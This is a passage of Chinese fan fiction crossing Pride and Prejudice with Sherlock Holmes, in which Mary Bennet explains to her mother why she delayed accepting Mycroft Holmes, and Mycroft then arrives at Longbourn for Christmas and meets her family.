班纳特太太惊喜的抱住玛丽的脑袋落下密密麻麻的亲吻:“好孩子,真是我的好孩子,你真是没有白长这么个聪明的脑袋瓜,竟然抓住这样一个有钱的单身汉!” 松开玛丽的脑袋之后,玛丽只觉得整个人都在发晕,头发都被吻的乱糟糟的,蓬松着一头乱发。 看到班纳特太太激动的抓着菲利普斯姨妈的手:“我就说女孩子还是要多读点书,多亏了玛丽一直听我的话,你看看,竟然找了这样一个有钱的绅士,将来就要去过好日子啦!” 加德纳舅妈在旁边很是震惊,她确实意想不到,毕竟玛丽一直在伦敦,照理来说如果玛丽有了一位相爱的绅士,她和加德纳先生应该是最快知道的,可是玛丽送来的信件和其他消息,根本没*有透露过此事呀。 班纳特太太快活极了,上帝,真是如获圣恩!!今年班纳特家真是走了大运,竟然抓住这样两位有钱的女婿。 “班纳特先生!班纳特先生,你快出来!!一个巨大的,天大的好消息!!”班纳特太太在休息室门口冲着书房大喊道。 书房的门很快打开,班纳特先生有些不耐烦:“怎么了,难道宾利先生又带来了什么有钱的朋友,要和我们的女儿求婚了?!” 班纳特太太笑的眼睛都快看不到了:“你可真爱说笑,不过差不多,我们的好女儿,玛丽,有一位先生和她求婚啦!” 玛丽立刻站了起来:“不,不不不!!” 上帝,她只是稍稍表露有这么个人,怎么到了妈妈嘴里就已经成了求婚,不对,虽然麦考福特先生确实求婚了,但是她暂时拒绝了呀! 玛丽着急忙慌的摆手,一时之间都不知道说什么,她根本来不及插嘴,班纳特太太的嘴巴就像是连发的燧石火枪。 根本没有给玛丽插话的机会。 班纳特太太看着班纳特先生和另外两位先生走出书房,这才上前抓住他的胳膊:“快快快,快来和我一同听一听这个好消息!” 玛丽独自面对六个大人的眼睛,此刻嘴干舌燥的不知道说什么,任何人,任何人都好,能不能来救救她!! 伊丽莎白站了出来:“玛丽没有答应。” “什么!!!!” 班纳特太太的惊呼差点把朗伯恩庄园的房顶刺穿,玛丽立刻从她最亲爱的女儿,到最令她生气的女儿:“你怎么!你怎么能拒绝!!” 玛丽根本来不及回答,就看到班纳特夫人一下子晕了过去。 于是所有人都去照顾她,整个休息室乱作一团。 加德纳太太和菲利普斯姨妈扶着她,三位男士也指挥女仆搭把手。 等把班纳特太太扶到一边的沙发上坐下,女仆送来了嗅盐,这种刺激的气味一下子让班纳特太太清醒过来。 她用手帕捂着脸干嚎,但是没什么眼泪:“你怎么可以这样,你简直伤透了我的心!” 玛丽的脑袋快要炸开来了,眼看着班纳特先生也要追问,玛丽立刻大声插话:“任何人,任何人都好,请先不要吵闹,妈妈!先不要哭了!!” 班纳特太太不管不顾,大声哭嚎着,仿佛下一秒就要哭晕过去。 玛丽无奈,再次大声喊道:“请你们先稍等,让我和妈妈单独聊一聊。” 简和伊丽莎白对视了一眼。 莉迪亚和凯蒂忽然从窗口冒出个脑袋:“妈妈,怎么了?发生了什么!” 莉迪亚的头上还带着树叶子,都不知道她钻到哪里去玩了。 玛丽只觉得整个人都快烧起来了,慌乱又无措,她是真的害怕面对一直哭嚎的妈妈:“好了妈妈,你先别哭了,你再哭的话,我就不同你说任何关于那位先生的事情了!” 班纳特太太立刻止住了自己的干嚎:“你会答应他,你必须同我发誓,你会答应他的求婚!”说道一半,班纳特太太闭上双眼,瘫在沙发上“如果你不接受他的求婚,我就再也不见你了!” 这种十分幼稚的威胁一度让玛丽觉得很无奈:“妈妈,我需要和你单独的,深入的谈一谈,谈完之后,我会答应的,好嘛?” 班纳特太太看了看玛丽,勉为其难的伸出手,示意玛丽将她扶起来。 玛丽握着班纳特太太的手,已经四十多岁的班纳特太太皮肤已经有了些许褶皱,虽然不粗糙,但是确实能感觉到年龄在她身上留下的些许印记。 菲利普斯姨妈想要跟上来,玛丽伸手阻拦了一下:“姨妈,你和舅妈还请在楼下稍等,我想要单独和妈妈谈一谈。” 班纳特太太还在嘀嘀咕咕:“有什么不能和珍妮说的,她可是你们最亲爱的姨妈。” 玛丽握着班纳特太太的手:“妈妈。” 虽然只是一声呼唤,但是班纳特太太还是别别扭扭的接受了,让妹妹在楼下等着。 两人来到了楼上,玛丽让妈妈来了自己的房间,关上门之后,班纳特太太双手环抱着胸口,坐在床边:“好吧,你有什么必须和我单独说的,为什么要拒绝那位绅士的求婚!上帝,我可真是生气!” 玛丽看着妈妈的动作,忽然反应过来,原来自己生气的时候,竟然和妈妈的动作是一模一样的,她忍不住笑了笑,然后坐在了妈妈的腿边上,将自己的头靠在班纳特太太的膝盖上。 她没有去抬头看向妈妈,只是露出自己的后脑勺:“妈妈,因为我害怕书房。” 班纳特太太:“书房?!书房有什么……” 忽然,班纳特太太停止了自己戏剧化的大呼小叫。 玛丽能感觉到妈妈的僵硬:“妈妈,我记得,我一直都记得……” 一双略带颤抖的手,抚摸在玛丽的头顶上,班纳特太太竟然难得的安静了。 玛丽:“妈妈,小时候的我不明白,你为什么会抱着我一直哭,一直哭。长大之后我才知道,为什么你再也不愿意进入那间书房,我也在害怕,害怕如果将来我的婚姻也有一间我不愿意进入的书房怎么办,所以我拒绝了他。” 班纳特太太这次的声音并不大,略带哽咽,再也没有刚才那样的干嚎,可是她的声音那么痛苦,比刚才的嚎叫还要刺痛玛丽的心:“对不起,玛丽,我不知道你会记得……你怎么会记得呢,你那么小……” 玛丽摇了摇头:“不,妈妈,你没什么要对不起我的,反而我要感谢你,如果不是你一直努力维护我们这个家庭,我们不会这么幸福快乐的长大,是你包容了爸爸,你为了我们,包容了爸爸的缺点。” 这段婚姻里只有班纳特先生在痛苦么?并不是的,玛丽知道,是因为妈妈在忽略,在包容,她装作听不懂班纳特先生的那些刻薄言语,装作没看出来班纳特先生的忽视。 当班纳特先生躲进书房里,原以为自己寻得了清静,实际上是妈妈在操持这个家庭。 爸爸赚了钱,可是是妈妈用忍让和包容,才维护了这个家庭里的爱。 她只是装作自己不明白。 玛丽:“妈妈,我和他说好了,我想要买一栋属于我自己的公寓,等到我买下公寓了,就会答应他的求婚的。” 班纳特太太沉默的抚摸着玛丽的发丝,玛丽没有抬头,耳垂却感觉到了一滴眼泪。 【作者有话说】 这里算是私设把,总觉得原著里妈妈太戏剧化了,实际上妈妈一心为了孩子们的未来打算,是一个很好的妈妈 79 第79章 玛丽沉默的靠在妈妈的膝盖上,她不知道如何安慰妈妈,唯一能做的也只是和小时候一样,沉默的陪伴着。 很快班纳特夫人收拾好了自己的心情,她不愿意在孩子们面前露出自己在婚姻中的狼狈模样。 这在班纳特夫人看来是很不好的,她或许没有得到一段美好的婚姻,但是这并不妨碍她期待孩子们步入婚礼,而且,如果孩子们不结婚,未来该怎么办呢。 班纳特夫人是真真切切的在担心着这件事的。 她不知道如何保证孩子们获得爱情,但是她知道,如何保证孩子们未来的生活不会变得太差,那就是找一个有钱的先生,如果没有得到爱,那最少也要得到钱。 想到这里,班纳特夫人重整旗鼓,原本抚摸在玛丽脸颊上的手转而一扭,掐住她的耳朵:“坐起来,和我好好说说!你打算什么时候接受这位先生,和他步入婚姻!” 玛丽只享受了不到一分钟的脉脉温情,就被掐着耳朵坐到了班纳特夫人旁边。 班纳特夫人自己脸上还带着泪痕,但是她只是随意用手帕擦了擦,就开始催促玛丽:“你要知道,你的嫁妆并不多,长得也没有简漂亮,必须牢牢抓住这样一位有钱的先生,将来我和你的父亲去世了,你们甚至没办法继承朗伯恩,哦!上帝,说道这里我就要生莉齐的气,如果她接受了柯林斯先生,将来你们姐妹总会有一个落脚处的!诶,算了,现在看来简的日子也不会差,她作为你们的大姐姐,总不会不管你们的。” 玛丽讷讷的都插不上话,班纳特夫人抓着玛丽的手:“将来你要是和那位先生生活在伦敦,可一定要多多邀请你的姐妹们,你和简都找了好人家,可不能让她们过苦日子。” 班纳特夫人嘴巴似连环炮,简直快要手把手的指教玛丽如何接受绅士求婚了:“你要先装作惊讶,然后是欣喜!一定要表现出你很高兴的模样,知道吗!” 玛丽无奈的点着头,如果不答应妈妈的话,今天她可别想走出这个房间了。 班纳特夫人自认将自己的所有绝活妙招都传给了玛丽,期待她很快就能带回来一些让她高兴的消息。 等到玛丽点了一万个头之后,班纳特夫人才心满意足的离开,走出房门前,还瞪了一眼玛丽:“你要给这位先生回信,如果不知道怎么说,就问问莉迪亚,在讨人喜欢这件事情上,她可比你聪明多了!” 看着班纳特夫人终于离开了房间,玛丽才叹了口气。 楼下大家等了许久,班纳特夫人趾高气扬的踩着小高跟哒哒哒的走下楼梯。 珍妮菲利普斯第一个上前抓住姐姐的手:“怎么说,到底是什么样的先生,快和我们说说!上帝啊,玛丽怎么可以瞒着我,我可是她的亲亲姨妈,我这么喜欢她。” 听到这个话题,班纳特夫人面容难得的露出一丝尴尬,一边的班纳特先生真是大吃一惊,竟然也有班纳特夫人尴尬的时候? 班纳特夫人撇撇嘴,用手帕遮住半张脸,试图将这个话题含糊过去:“没什么,她就是害羞,只想和我这个妈妈说一些心里话,诶,你知道的,玛丽一直都这样,别别扭扭闷不吭声的。” 菲利普斯太太点头:“是啊,每次举办舞会,她总是躲到一边,一点都不愿意参与到小姐们的活动中。” 莉迪亚和凯蒂早就从外面跑回来了,她们刚才可是和菲利普斯姨妈仔细打听了半天。 真是难以置信,玛丽竟然有一位追求者,甚至追求者已经求婚了,更难以置信的是,玛丽拒绝了! 好吧,对于玛丽拒绝求婚这件事,莉迪亚还是没有那么难以置信的,毕竟那可是玛丽,她总是奇奇怪怪的,有那么多自己的想法。 楼下的大家吵来吵去,都在和班纳特夫人,还有简和伊丽莎白打听那位先生。 玛丽坐在楼上休息,和妈妈谈论一些事情,比和雷利交锋还要让人疲惫。 晚餐的时候大家都默契的没有提起这个话题,但是所有人都在打眉眼官司,打量着玛丽。 玛丽努力装作若无其事,可是等到临睡前还是被莉迪亚狠狠的抓住了。 莉迪亚穿着睡裙,和凯蒂一人一边抱着玛丽的胳膊:“今晚我们一起睡!” 玛丽挣脱不得,她是五个姐妹中最矮小的一个,莉迪亚和凯蒂都比她高。 莉迪亚用力的托着玛丽的胳膊,三个人回了莉迪亚和凯蒂的屋子。 她们可不敢随意闯入玛丽的房间,上帝知道,里面到底有些什么奇怪的东西。 三姐妹躺在床上,莉迪亚直接伸出腿压住玛丽的腿,凯蒂有样学样,压住玛丽的胳膊。 莉迪亚靠在床边:“你必须老老实实的和我们交代。” 凯蒂:“对!” 莉迪亚:“你和那位先生怎么样了,他长得好看吗?是穿着红制服的军官么?还是什么?姨妈知道的也不多,一直在打发我们!你必须告诉我们所有的事情!” 凯蒂:“没错!” 玛丽左看右看,只能无奈的再一次交代一遍。 一听只是什么公务员,不是帅气的军官,莉迪亚顿时没有兴趣的,把腿缩了回来。 旁边的凯蒂还压着玛丽的胳膊:“你喜欢他吗?” 莉迪亚撇撇嘴:“要我说,玛丽恐怕连什么是喜欢都不知道。” 玛丽看向莉迪亚:“谁说我不知道,我现在就知道,我对那位先生是喜欢的。” 莉迪亚:“你知道什么,你根本不懂得欣赏男人的帅气,也不会和他们跳舞。” 玛丽从床上坐了起来:“谁说我不会了,我和麦考福特先生跳过舞,他跳的可好了,我也跳的不错,虽然我不怎么喜欢参加舞会,但是我和麦考福特先生跳舞的时候,一步都没有跳错!” 莉迪亚也坐了起来,凯蒂看两人都坐了起来,也跟着坐起身子。 三姐妹都抱着一个枕头,莉迪亚率先提问:“和喜欢的先生跳舞的时候,是不会注意脚步的,你只会想要和他握手,和他亲密的交谈,那才是让人快活的事情呢。” 玛丽撇着嘴不屑一顾:“谁说的我们没交谈的,我和麦考福特先生有许多事情可以聊呢。” 凯蒂开口询问道:“听上去你们都是聪明人?” 玛丽点点头:“是的,麦考福特先生和他的弟弟,也就是我的朋友,夏洛克福尔摩斯,都是聪明人,特别是夏洛克,他非常有智慧,而且充满干劲和热情,对自己的事业有着无限的激情。” 旁边的莉迪亚立刻打断道:“你到底是在喜欢那个麦考福特,还是喜欢他的弟弟,你快和我说说你喜欢的先生。” 玛丽不高兴的戳了莉迪亚一下:“你别乱说,夏洛克是值得尊敬的朋友!而且我喜欢的是麦考福特先生!” 莉迪亚一个扭身躲开了玛丽的手指,转而悄悄凑了过来:“那你们……有偷偷约会过么?” 玛丽奇怪的歪着头:“偷偷?约会?” 莉迪亚点头:“是的呀,就是偷溜出学校,约会?有嘛?” 玛丽这才反应过来,连忙遮掩到:“啊,对……是的,没错,我是休假的时候和他约会的。” 凯蒂激动的追问到:“你们约会做什么?散步嘛?伦敦有什么好看的?好玩的?” 玛丽想起回朗伯恩之前的那天:“嗯,我们会一起去餐厅吃饭,然后去花园里散散步,聊聊最近在看的书,讨论讨论他的工作和生活,说一说我的生活,我们还去欣赏了音乐会,我们都很喜欢那天的小提琴演奏家,非常美妙的音乐。” 莉迪亚听到这里忽然有些别扭,偷偷的看了两眼卧室的房门:“那你们……那个了没有?” 凯蒂和玛丽都傻呆呆的看着莉迪亚,莉迪亚不高兴的瞪了一眼两人,特别是玛丽,毕竟凯蒂可没有约会过。 莉迪亚用更小的声音追问道:“你们……接吻了嘛?” 问出这句话的时候,莉迪亚的眼神里都透着光,凯蒂双手捂着脸:“上帝!你问的什么问题!如果妈妈知道,会很生气的!” 玛丽的脸都变得通红。 莉迪亚眼睛一亮,立刻抓着玛丽的胳膊:“你绝对偷偷接吻了!” 凯蒂惊讶的看着玛丽,发现她竟然没有反驳!! 上帝呀!玛丽竟然都敢偷偷接吻啦! 玛丽故作镇静,干咳了两声:“这有什么!这是很正常的,在爱情的发展过程中,这是很自然的事情,难道你们看的爱情小说里,男女主角没有接过吻么!” 凯蒂仔细回想了一下,似乎确实也写过,但是她看到kiss,都会觉得面红耳赤。 莉迪亚反而很是兴奋:“那你们接吻的时候,什么感觉?” 玛丽忽然看向莉迪亚,不对劲,非常不对劲。 莉迪亚还没反应过来,玛丽忽然双手环抱住胸口,做出一副逼问的态度:“所以,你偷偷和谁接吻了?!” 凯蒂刚放下的手,立刻又抬起来捂住了脸。 然后愤怒的看着两人:“你们都偷偷约会接吻!好呀,莉迪亚,你竟然不告诉我!!你怎么能瞒着我?!” 莉迪亚立刻撤回半个身子,让后一躲:“我可没偷偷瞒着你,是你自己没发现而已。” 玛丽左看右看,然后将视线盯在莉迪亚的脸上:“看来这个家里,大家都有一些爱情的小秘密。” 凯蒂愤怒的看着俩人:“你们,你们才有,我和莉齐可没有!你们放心吧,我一定会和莉齐告状的!” 玛丽满不在乎的挥挥手,眯着双眼看向莉迪亚:“莉齐知道我和麦考福特先生的事情,反而是莉迪亚,现在可该你好好交代了。” 【作者有话说】 [墨镜]该把麦哥放出来了 80 第80章 玛丽看着面前的房门,怎么都没办法伸手敲开。 刚才她试图追问出莉迪亚偷偷约会的先生是谁,结果被莉迪亚武力镇压,直接捂住嘴推出了房间,关门之前,莉迪亚还恶狠狠的警告玛丽,如果玛丽敢把这件事告诉妈妈,她也一定会告玛丽的状。 玛丽愤怒的看着门板,她回到伦敦之后,一定要好好的和安娜,还有夏洛克学习格斗技巧!! 闹了大半夜,玛丽气呼呼的回到房间。 躺在床上,左右睡不着,又爬了起来,在给麦考福特先生的信上,写下了重重的一句话:“我一定要打败莉迪亚!” 第二天莉迪亚还当做没事人一样,又带着凯蒂四处胡闹,两人跑到湖边比赛谁的石头丢的远,又跑去梅里囤闲溜达,偶尔碰到巡防的红制服军官们,看着他们穿着笔挺的冬装,偷偷说一些小话。 凯蒂时刻注意,可是怎么也没看出莉迪亚和谁比较亲近,莉迪亚和谁都玩得好,大家都喜欢她。 终于到了圣诞节当天,一家人凑在一起热热闹闹的吃着晚餐,几位先生聊得火热。 班纳特夫人和菲利普斯姨妈也一直在开心的交谈,加德纳舅妈和伊丽莎白聊着天。 大家都快快活活的。 玛丽喝着餐酒,觉得这个圣诞节美妙极了。 等到晚餐结束,班纳特先生宣布宾利先生还有另一位先生将会在第二天前来拜访,下周将会举办一场舞会。 大家都知道他来拜访班纳特先生是为了什么。 班纳特夫人抱着简,喜极而泣,手帕一直擦着眼泪:“我就知道,我就知道简,你这么漂亮,性格又好,是十里八乡最受欢迎的姑娘,你值得最好的。” 简羞红了脸,伊丽莎白在旁边打趣,玛丽和凯蒂交流着信息。 凯蒂这几天怎么都没看出莉迪亚到底和谁偷偷约会,她们俩可是整天都黏在一起的。 玛丽顾忌到莉迪亚的告状威胁,只能请凯蒂作为眼线,结果凯蒂根本看不出来,玛丽很失望:“凯蒂,你不能总是这么傻乎乎的。” 凯蒂气的伸手去戳玛丽:“如果你这样说的话,我就再也不帮你盯着莉迪亚了!” 玛丽只能好声好气的再去哄凯蒂。 圣诞节的晚上大家都没有熬夜,第二天宾利先生一大早就来了。 玛丽被班纳特夫人要求,必须早点起来,装扮好,陪在家人的身边,今天可是简的大日子,所有人都必须在场,必须献出最大的热情和祝福。 坐在休息室,窗口正对庄园门外的大路,玛丽在窗口的沙发上靠着,随意的发散视线,地平线上都是白茫茫的大雪,还有此起彼伏的树丛,虽然叶子已经落光了,但是高耸的树干还是很有看头的。 道路最远处和天交接的位置,先是出现了一个黑色的圆点,然后黑色的圆点逐渐放大,一辆马车正在靠近。 玛丽看了几秒钟,冲着客厅的位置喊道:“有马车过来了!!” 简原本还在绣着手帕,上帝作证,这一上午她都没有戳下去几针,时不时就会站起来走动,或者发呆。 玛丽眨眨眼:“简,你的白马王子来啦。” 简羞红了脸,旁边的伊丽莎白暗暗地瞪了一眼玛丽:“别欺负简,玛丽!” 玛丽哼了一声,她还在和伊丽莎白闹别扭,因为伊丽莎白的背叛! 很快仆人打开了庄园的门,马车进来之后停在了门口,一大家子女人都在休息室里坐着,显得房间里满满当当的。 率先进来的是宾利,后面又来了一个人。 玛丽发现是达西先生。 真是好久不见了。 陡然看到达西先生的时候玛丽还愣了一下,然后随意的点点头问好。 达西一进屋子就看到了玛丽,他想要移开视线,却怎么都无法挪动双眼。 许久不见,她似乎更闪亮了,整个人变得没有之前那么紧绷,反而显得很放松。 宾利涨红着脸,和大家打了招呼,然后表示想要和班纳特先生去书房详谈。 达西先生被留在了休息室里,班纳特夫人今天心情很不错,愿意给这位高傲的先生几分好脸色,请仆人送上了茶点好心好意的让他坐一坐。 玛丽合上手里的书,她实在是看不下去,虽然才回来家里几天,但是她有点想念伦敦,想念麦考福特先生了。 如果能有一栋大屋子,让家人和麦考福特先生都住在房子里,大家都在一起该多好呀。 玛丽坐在窗边天马行空的想象着。 最好还有夏洛克和约翰先生,还有郝德森太太,大家都在一起,每天都开开心心的。 想到这里,玛丽忍不住露出一抹微笑。 达西一杯接一杯的喝着茶,时不时透过几个女孩之间的缝隙看着玛丽。 很快宾利先生就回到了休息室,班纳特夫人看着他满面红光,一脸的激情澎湃,立刻就站起来:“外面的阳光真好,孩子们,快来陪我出去走一走吧。” 像是母鸡赶着小鸡一样,班纳特太太挥着手把几个女孩都赶出房间。 达西也立刻表示他也一起,很快房间里只剩下宾利和简。 大家走出休息室后,莉迪亚和凯蒂表示想去梅里囤玩玩,虽然商店不开门,但是有两家餐馆会有圣诞节限定的小甜点,她们想去尝一尝。 班纳特夫人今天最爱的女儿是简,随意的摆摆手就让莉迪亚和凯蒂自己去打发时间。 伊丽莎白和加德纳舅妈一起携手离开,班纳特夫人则是和自己的妹妹握着手聊天。 玛丽看来看去,发现只有自己和达西先生愣在这里不知道干什么。 达西先生左看右看,忽然伸出手:“能邀请您一起散散步么?” 玛丽看了眼达西先生伸出的胳膊,无所谓的摊开手:“当然。” 两人走出庄园,在外面的小花园随意的走着,朗伯恩庄园的小花园冬日里很枯燥,没什么花朵,看上去十分萧瑟。 两人沉默着走了一段,达西才再次开口:“我想为我之前的鲁莽和您道歉。” 玛丽还想着如果将来自己买了公寓,是不是可以在室内种一些花,一时之间都没注意达西先生说了什么,下意识的抬起头:“什么?” 达西和玛丽停在了花园的一棵树下,那棵树已经靠近围墙,粗壮的树枝上绑了绳子,末端则是一个秋千。 秋千上面打扫的很干净,还有松软的坐垫,玛丽坐在坐垫上晃晃悠悠的,玩的自得其乐。 达西先生站在玛丽的面前,面色郑重,微微鞠躬:“我为我之前的鲁莽,和您郑重道歉,希望您不要误会我的真心,我……” 玛丽打断了他的话:“达西先生,我已经不在意了。” 对于玛丽来说,达西只是一个莫名其妙古里古怪的陌生先生,两人的交集并不多,她甚至没有和这位先生说过几句话,当然了,他总是自说自话,所以他的那些所谓告白和对家人的评价,玛丽也并不在意。 玛丽:“您并没有和我的家人生活过,没有经历过我和我家人温馨的片段,你只是片面的用你的视角来看待我的家人和我,我并不在意您的评价,我知道我的家人对我多好,她们是多么亲切又温暖的人,您的言语并不损害她们在我心里分毫的重量,所以也请您不要在意我的话。” 达西没有忍住,上前走了一步:“不,我当然会在意,我……” 玛丽随意的打量着,结果发现了花园入口一个几乎不可能出现在这里的身影…… 达西还没说完,玛丽已经跳下了秋千,拽起裙摆快步跑了过去。 玛丽飞快的跑向对方,看着他伸开的双臂,看着他露出的浅淡微笑。 达西只是站在原地,看着玛丽欢呼着跳进了那个男人的怀抱里。 麦考福特拥抱着玛丽:“现在说圣诞快乐是不是晚了一些。” 玛丽眼里的快乐几乎要满溢出来了:“你怎么来了,我的天哪,这是我最好的圣诞礼物!我特别想念你,我给你写了好长好长的信,原本想着明天寄出去,我的天哪。” 麦考福特松开了抱着玛丽肩膀的手,转而看向不远处树下的男人,两人对视了一眼,视线在空中交汇,而玛丽只顾着抬头看向麦考福特先生,根本没有回头的打算。 达西知道,自己错过了这个姑娘,错过就是错过了,再也没有挽回的机会了。 有时候爱情不总会有结果,错误的时间,或者错误的犹豫,都会错失爱情。 玛丽挽着麦考福特的手臂:“我要把你介绍给爸爸妈妈,还有我的姐妹们,你还没有见过她们对吗?” 麦考福特低头看着玛丽,她的双眼闪亮,脸颊都泛着红晕,他想要亲吻心爱的姑娘,可是此时此刻并不可以,忍不住的用手指轻轻的触碰了玛丽的脸颊,麦考福特笑着点点头:“真是迫不及待想要见见他们,不过那位先生……” 玛丽这才想起来,还有一个达西先生,转过头发现那位先生已经走了过来,只是脸色有些苍白,玛丽打量了两眼:“您穿的有些单薄了,快和我们一起进去吧。” 达西听着玛丽说我们,她和那位先生是我们,而他只是一个客人罢了。 玛丽挽着麦考福特先生的胳膊,声音都活泼起来:“今天来的真是太巧了,妈妈一定会邀请你留下来吃饭的,期待一下吧,今天的晚餐一定很丰盛。” 三人走进了屋子,宾利先生和简坐在一处,班纳特夫人对宾利夸了又夸。 班纳特先生在一边看着报纸,他之前接到福斯特上校的信件,说他会有一位朋友前来拜访,言语之中很是郑重,福斯特上校作为中间人,希望班纳特先生能好好招待他的朋友。 真是奇怪,福斯特上校和他们家的关系并不十分亲近,为什么会专门写一封信表示他的朋友会来拜访班纳特家。 等到玛丽挽着一位陌生先生进屋,脸上露出从未有过的笑容的时,班纳特先生就知道了,看来这位先生,并不是福斯特上校的朋友,而是他亲爱的小玛丽的。 【作者有话说】 之前夏洛克就说过,麦考福特是控制狂,和他有关的人,麦考福特都会调查的清清楚楚,现在他控制的范围包括了玛丽,而和玛丽有关的人,也会调查的清清楚楚。 所以麦考福特在伦敦收到消息:“达西和宾利将会拜访班纳特家。” 麦考福特看到的:“达西又要去找玛丽了。” [狗头叼玫瑰][狗头叼玫瑰] 80-90 81 第81章 玛丽抱着麦考福特先生的手给大家介绍这位是爸爸,这位是妈妈,这位是宾利先生,简和伊丽莎白已经见过了。 莉迪亚和凯蒂不在,晚上估计才会回来。 还有加德纳先生和加德纳太太也是见过面的,另外就是菲利普斯先生和菲利普斯太太。 玛丽快活的像是一只小鸟,在屋子里飞来飞去,恨不得每个人都能和她一样喜欢上麦考福特先生。 班纳特先生打量着对方,看上去倒是个壮实的好体格:“您好,福尔摩斯先生。” 麦考福特拿出十二万分的尊敬,伸出手郑重的和班纳特先生握手问好。 两个英国人先是聊了聊天气,然后又聊了聊节日,还没聊到钓鱼就被班纳特夫人打断了。 班纳特夫人就坐在麦考福特的对面,她端着茶杯看上去兴致盎然:“您在哪里工作?我听说您是公务员?” 麦考福特脾气很好,准确来说他从踏进这座庄园,就拿出了自己最包容宽广的胸怀:“是的,鄙人就职于大英政府,腆居末职。” 玛丽却不希望大家都相信麦考福特的自谦之语,她希望所有人都和自己一样,欣赏麦考福特先生最优秀的一面,毕竟他就是一个很优秀的人:“麦考福特下先生是首相的秘书。” 这确实是一个很高的职位了。 班纳特先生都震惊了几分,透过眼镜仔细打量起这个年轻人,确实年轻,看上去面容都还还带着青春的稚嫩。 这个会客厅最激动的大概就是班纳特夫人:“我的天呐,真是没想到您能来拜访我们这样的乡绅之家,真是荣幸。” 一边的班纳特先生看了两眼班纳特夫人,结果妻子根本没注意他,班纳特夫人高兴的话语一连串的涌出:“您今晚方便留下一起吃顿便饭么,要我说,朗伯恩的餐桌在整个梅里囤都是出了名的美味,您可一定要留下来尝尝看。” 麦考福特笑着点点头:“那可真是我的荣幸,玛丽和我说过,您的手艺好极了,她在伦敦时就念念不忘。” 班纳特夫人:“是的,是的,玛丽一直都是我最贴心,和我最亲近的孩子。” 宾利和达西坐在一边,现在班纳特夫人在整个会客厅最喜欢的先生,恐怕就是这位福尔摩斯先生了。 一边的菲利普斯先生也时不时参与到对话中,他在梅里囤做律师,算是整个大家庭里唯一和公务员搭边的人,毕竟很多时候顾客的相关法律文件和手续都要和政府部门交接沟通,这还是他头一次和这样层次的公务员交流呢。 班纳特夫人眼看着这位闪亮多金的先生看向玛丽的眼神饱含爱意,心里真是高兴极了:“您和怎么认识玛丽的,据我所知,玛丽在伦敦是去念女校的。” 除了班纳特夫人之外,简和伊丽莎*白还有玛丽都在互相使眼色,特别是玛丽,偷摸瞪了一眼麦考福特先生。 麦考福特倒是镇定异常:“她与我的幼弟夏洛克福尔摩斯是友人,之前因为一些小事认识了,经由幼弟我和玛丽小姐互相通了姓名,玛丽小姐是一个美丽又聪明的小姐,十分亮眼,能和她这样活泼可爱的淑女做朋友,实在是荣幸之至。” 班纳特夫人笑着用手帕遮住半张脸,她很确定,自己的女儿已经抓住这条大金鱼了。 等到了晚餐时分,班纳特夫人特意安排他坐在玛丽的旁边,一大家子人坐在餐厅里,班纳特夫人热情的招呼麦考福特多尝尝几道拿手菜,她特意叮嘱厨师做的,势必要让这位多金的绅士享受朗伯恩最郑重的款待。 班纳特先生沉默的吃着晚餐,看着麦考福特哄得班纳特夫人开怀大笑。 就连宾利和达西都没有这个待遇,他们两人下午就离开了,因为还要准备舞会,所以要回到内瑟菲尔德多准备一些邀请函。 班纳特家的人自然在名单上,就连麦考福特也得到了邀请,得知他暂时住在福斯特上校的庄园里,宾利热情的表示会给他送上邀请函,希望他一定要前来参加舞会。 莉迪亚和凯蒂是在晚餐前回来的,两人吃了好几块小甜点,以至于晚餐都没吃多少,她们还给家人带了几块,此时正放在餐桌上。 凯蒂一直在偷偷打量这位姐夫,反而是迪莉娅,光明正大的追问着麦考福特和玛丽在伦敦认识的经过。 麦考福特也算是交际老手,自己的信息没表露多少,反而帮着玛丽问了许多莉迪亚的消息。 得知玛丽在离开朗伯恩之后,莉迪亚和凯蒂参加了好几场舞会,听到她多次提及换防来的红制服军官们,麦考福特凑到玛丽的耳边,最近梅里囤附近调度的军队就那么两个,如果你需要,我可以帮你查一查人员名单。 这是玛丽特意叮嘱给他的任务,她想要知道莉迪亚到底是和谁偷偷约会了,指望凯蒂?恐怕要等到莉迪亚的婚礼才能知道新郎是谁。 玛丽不着痕迹的在餐桌下握了握麦考福特先生的手,调皮的眨了下眼睛:“那可真是多谢你了,麦考福特先生。” 麦考福特也在餐桌下捏了捏玛丽的指尖,两人就这么在餐桌下牵着手,直到旁边的伊丽莎白偷偷踢了她一脚,玛丽才把手缩了回来。 晚餐结束没多久,麦考福特就表示告退,临走前还邀请玛丽第二天可以去梅里囤逛一逛,欣赏欣赏冬日的风光,两人可以一起散散步。 玛丽当然愿意,在门口看着麦考福特先生骑上马,玛丽笑的开心极了。 旁边的班纳特夫人眼看着麦考福特的背影远离,高兴的抱着玛丽:“乖孩子,你可真是聪明,一下子就给自己找这么个好姻缘。” 旁边的莉迪亚小小的翻了个白眼:“可是他看上去太严肃了,一点都不会讨人喜欢。” 玛丽生气的和莉迪亚打闹起来:“麦考福特先生很讨人喜欢,,我不许你这么说他。” 两人在屋子里打打闹闹,凯蒂难得没有插手,反而走向了伊丽莎白。 伊丽莎白已经和班纳特先生进屋了,凯蒂坐在伊丽莎白旁边,充满同情的看了眼她。 被凯蒂的眼神看到背后都发毛,伊丽莎白转过头;“你看上去很奇怪凯蒂?” 凯蒂叹了口气:“诶,我真是同情你,莉齐。” 伊丽莎白更加莫名其妙了。 凯蒂再次给自己叹了口气,简已经和宾利先生敲定了,玛丽也有了好的归宿,就连莉迪亚,似乎都有了一个相爱的先生,如果那位先生也和她求婚,这个家里就剩她和伊丽莎白了。 伊丽莎白给凯蒂的眼神看到害怕,忍不住凑到她旁边:“怎么了,你得和我说清楚。” 凯蒂拍了拍她的肩膀:“莉齐,你在伦敦有遇到什么心动的先生么?” 本来只是随意的一句询问,结果凯蒂发现伊丽莎白竟然脸红了! 上帝啊!! 凯蒂捂住脸,这个家里到底怎么了,今年丘比特是不是真的悄悄住在朗伯恩阁楼里了? 伊丽莎白咳嗽了两声:“还没什么消息呢,我甚至还没有和简说。” 旁边的玛丽再次被莉迪亚武力镇压,抓着手腕按倒在了沙发上,四个姐妹们都挤在一个长条沙发,玛丽的脑袋都被压伊丽莎白的肩膀上。 玛丽大喊着:“莉齐,莉齐,快救救我!” 旁边的妈妈和简正在小声说话,压根没管几个姐妹的打闹。 莉迪亚在伊丽莎白看向她之后松开了手,她可打不过伊丽莎白。 玛丽小心的揉着手腕缩到伊丽莎白旁边:“等着吧,莉迪亚,我一定会学会格斗技巧,到时候我一定要战胜你!” 